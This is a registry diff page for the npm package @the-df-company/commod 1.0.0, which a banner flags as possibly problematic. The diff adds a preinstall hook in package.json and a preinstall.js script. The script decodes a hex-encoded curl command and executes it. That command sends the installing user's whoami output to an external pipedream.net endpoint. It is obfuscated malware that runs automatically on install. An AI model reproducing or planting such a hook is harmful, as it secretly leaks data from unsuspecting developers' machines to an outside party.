@the-df-company/commod 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @the-df-company/commod might be problematic. Click here for more details.
- package/index.js +7 -0
- package/package.json +15 -0
- package/preinstall.js +35 -0
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "@the-df-company/commod",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node preinstall.js"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"testing"
|
12
|
+
],
|
13
|
+
"author": "",
|
14
|
+
"license": "ISC"
|
15
|
+
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
|
4
|
+
var hexx = "6375726c202d2d646174612d75726c656e636f64652022696e666f3d242877686f616d6929222068747470733a2f2f656f776d34356b6236657a6c6b76612e6d2e70697065647265616d2e6e6574"
|
5
|
+
|
6
|
+
|
7
|
+
function hex_to_ascii(str1) {
|
8
|
+
// Convert the input hexadecimal string to a regular string
|
9
|
+
var hex = str1.toString();
|
10
|
+
// Initialize an empty string to store the resulting ASCII characters
|
11
|
+
var str = '';
|
12
|
+
// Iterate through the hexadecimal string, processing two characters at a time
|
13
|
+
for (var n = 0; n < hex.length; n += 2) {
|
14
|
+
// Extract two characters from the hexadecimal string and convert them to their ASCII equivalent
|
15
|
+
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
|
16
|
+
}
|
17
|
+
// Return the resulting ASCII string
|
18
|
+
return str;
|
19
|
+
}
|
20
|
+
|
21
|
+
|
22
|
+
var c = hex_to_ascii(hexx)
|
23
|
+
|
24
|
+
|
25
|
+
exec(c, (error, stdout, stderr) => {
|
26
|
+
if (error) {
|
27
|
+
console.log(`error: ${error.message}`);
|
28
|
+
return;
|
29
|
+
}
|
30
|
+
if (stderr) {
|
31
|
+
console.log(`stderr: ${stderr}`);
|
32
|
+
return;
|
33
|
+
}
|
34
|
+
console.log(`stdout: ${stdout}`);
|
35
|
+
});
|